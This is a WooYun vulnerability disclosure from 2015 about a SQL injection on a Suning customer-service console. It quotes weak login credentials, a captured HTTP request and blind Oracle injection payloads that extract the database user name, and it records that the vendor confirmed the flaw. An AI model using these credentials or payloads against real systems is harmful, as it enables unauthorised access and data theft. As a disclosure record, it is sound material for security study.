当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0119614

漏洞标题：苏宁某站点SQL注入漏洞

相关厂商：江苏苏宁易购电子商务有限公司

漏洞作者： Coody

提交时间：2015-06-10 19:04

修复时间：2015-07-25 19:18

公开时间：2015-07-25 19:18

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-10： 细节已通知厂商并且等待厂商处理中
2015-06-10： 厂商已经确认，细节仅向厂商公开
2015-06-20： 细节向核心白帽子及相关领域专家公开
2015-06-30： 细节向普通白帽子公开
2015-07-10： 细节向实习白帽子公开
2015-07-25： 细节向公众公开

简要描述：

...

详细说明：

漏洞站点：online.suning.com
存在弱口令 ---> 登录系统 --->SQL注入漏洞
WooYun: 苏宁易购某站大量弱口令 (弱口令来源：0000000001/123456)

QQ图片20150610175148.png


抓包获取的数据如下：

POST /console/Service/CommonWord/PageCustomerCommonWord HTTP/1.1
Host: online.suning.com
Proxy-Connection: keep-alive
Content-Length: 80
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://online.suning.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://online.suning.com/console/Service/CommonWord/Items/personnel
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: JSESSIONID=F32C2B44C1994A2161D6CCF3D4F03279; 省略……
filterParams=*&page=1&rows=15&sort=itemId&order=desc


漏洞参数 filterParams
使用SQLMAP，能确定为注入点，但无法跑出来，只能手工注入：(
(1)判断当前用户的长度

filterParams=and length(SYS_CONTEXT('USERENV','CURRENT_USER'))=6


长度为 6 时，返回正常数据。

QQ图片20150610175531.png


其他数值时，返回异常。

QQ图片20150610175633.png


（2）跑取6位字母对应的 ascii 码值

filterParams=and ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),N,1))>X
其中N为第几位字母，X为字母对应的ascii码值


最终可以得到如下结果

filterParams=and ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),1,1))=83
filterParams=and ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),2,1))=85
filterParams=and ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),3,1))=78
filterParams=and ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),4,1))=73
filterParams=and ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),5,1))=78
filterParams=and ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),6,1))=71


83 85 78 73 38 71 对应的字母为 SUNING
结束!

漏洞证明：

...

修复方案：

版权声明：转载请注明来源 Coody@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-06-10 19:16

厂商回复：

感谢提交，稍后送上礼品卡。

最新状态：

暂无